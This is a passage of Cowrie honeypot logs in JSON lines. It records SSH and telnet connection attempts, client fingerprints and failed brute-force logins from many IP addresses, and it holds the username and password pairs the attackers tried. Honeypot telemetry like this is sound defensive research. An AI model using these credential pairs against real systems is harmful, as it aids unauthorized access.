-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:42.112196Z","src_ip":"162.144.213.198","session":"cf1980424557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"melbourne","password":"Melb#S3cur3$P@ss!","message":"login attempt [melbourne/Melb#S3cur3$P@ss!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:42.379458Z","src_ip":"162.144.213.198","session":"cf1980424557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:52.524354Z","src_ip":"162.144.213.198","session":"cf1980424557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":44806,"dst_ip":"159.203.135.109","dst_port":22,"session":"14dd64d693c2","protocol":"ssh","message":"New connection: 103.122.221.179:44806 (159.203.135.109:22) [session: 14dd64d693c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:53.506552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:53.509417Z","src_ip":"103.122.221.179","session":"14dd64d693c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:53.759198Z","src_ip":"103.122.221.179","session":"14dd64d693c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280991","message":"login attempt [root/280991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:54.513035Z","src_ip":"103.122.221.179","session":"14dd64d693c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:06:55.765427Z","src_ip":"103.122.221.179","session":"14dd64d693c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.690770387649536,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:07:03.809247Z","src_ip":"170.64.224.25","session":"d503274f9c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":45550,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf7c6cb37f9","protocol":"ssh","message":"New connection: 192.169.244.109:45550 (10.17.0.5:22) [session: 2cf7c6cb37f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:07:32.848374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:07:32.851857Z","src_ip":"192.169.244.109","session":"2cf7c6cb37f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:07:32.916622Z","src_ip":"192.169.244.109","session":"2cf7c6cb37f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avalanche","password":"avalanche321","message":"login attempt [avalanche/avalanche321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:07:33.112477Z","src_ip":"192.169.244.109","session":"2cf7c6cb37f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:07:34.180641Z","src_ip":"192.169.244.109","session":"2cf7c6cb37f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.79988479614258,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:21.626611Z","src_ip":"137.184.5.188","session":"b43b5ee1ffe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":39398,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b84ef80e83","protocol":"ssh","message":"New connection: 160.22.170.38:39398 (10.17.0.5:22) [session: 27b84ef80e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:26.125975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:26.135930Z","src_ip":"160.22.170.38","session":"27b84ef80e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:26.413906Z","src_ip":"160.22.170.38","session":"27b84ef80e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saeed123","message":"login attempt [root/saeed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:27.929714Z","src_ip":"160.22.170.38","session":"27b84ef80e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:29.174046Z","src_ip":"160.22.170.38","session":"27b84ef80e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40142,"dst_ip":"159.203.135.109","dst_port":23,"session":"42e7c9054214","protocol":"telnet","message":"New connection: 170.64.224.25:40142 (159.203.135.109:23) [session: 42e7c9054214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:30.082391Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":48062,"dst_ip":"10.17.0.5","dst_port":22,"session":"44eabdd20b40","protocol":"ssh","message":"New connection: 89.223.69.22:48062 (10.17.0.5:22) [session: 44eabdd20b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:32.664382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:32.667743Z","src_ip":"89.223.69.22","session":"44eabdd20b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:32.774326Z","src_ip":"89.223.69.22","session":"44eabdd20b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":41640,"dst_ip":"159.203.135.109","dst_port":22,"session":"da8db25eb781","protocol":"ssh","message":"New connection: 14.55.144.22:41640 (159.203.135.109:22) [session: da8db25eb781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:32.864125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:32.869578Z","src_ip":"14.55.144.22","session":"da8db25eb781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:33.073771Z","src_ip":"14.55.144.22","session":"da8db25eb781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05111981","message":"login attempt [root/05111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:33.097089Z","src_ip":"89.223.69.22","session":"44eabdd20b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd!123","message":"login attempt [root/P@ssw0rd!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:33.929599Z","src_ip":"14.55.144.22","session":"da8db25eb781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:34.205955Z","src_ip":"89.223.69.22","session":"44eabdd20b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:35.139228Z","src_ip":"14.55.144.22","session":"da8db25eb781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":39740,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd67f9c613ea","protocol":"ssh","message":"New connection: 91.92.40.10:39740 (10.17.0.5:22) [session: fd67f9c613ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:36.440013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:36.701293Z","src_ip":"91.92.40.10","session":"fd67f9c613ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:36.704692Z","src_ip":"91.92.40.10","session":"fd67f9c613ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:38.334915Z","src_ip":"91.92.40.10","session":"fd67f9c613ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:39.624082Z","src_ip":"91.92.40.10","session":"fd67f9c613ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":53042,"dst_ip":"10.17.0.5","dst_port":22,"session":"63b5ed2f77a6","protocol":"ssh","message":"New connection: 208.109.189.255:53042 (10.17.0.5:22) [session: 63b5ed2f77a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:44.939489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:44.942857Z","src_ip":"208.109.189.255","session":"63b5ed2f77a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:45.006987Z","src_ip":"208.109.189.255","session":"63b5ed2f77a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F3t$M@st3r#P@ss","message":"login attempt [root/F3t$M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:45.204453Z","src_ip":"208.109.189.255","session":"63b5ed2f77a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:46.272446Z","src_ip":"208.109.189.255","session":"63b5ed2f77a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":52158,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f54073c1122","protocol":"ssh","message":"New connection: 91.92.40.176:52158 (10.17.0.5:22) [session: 0f54073c1122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:50.673857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:50.993837Z","src_ip":"91.92.40.176","session":"0f54073c1122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:50.999670Z","src_ip":"91.92.40.176","session":"0f54073c1122","protocol":"ssh"}
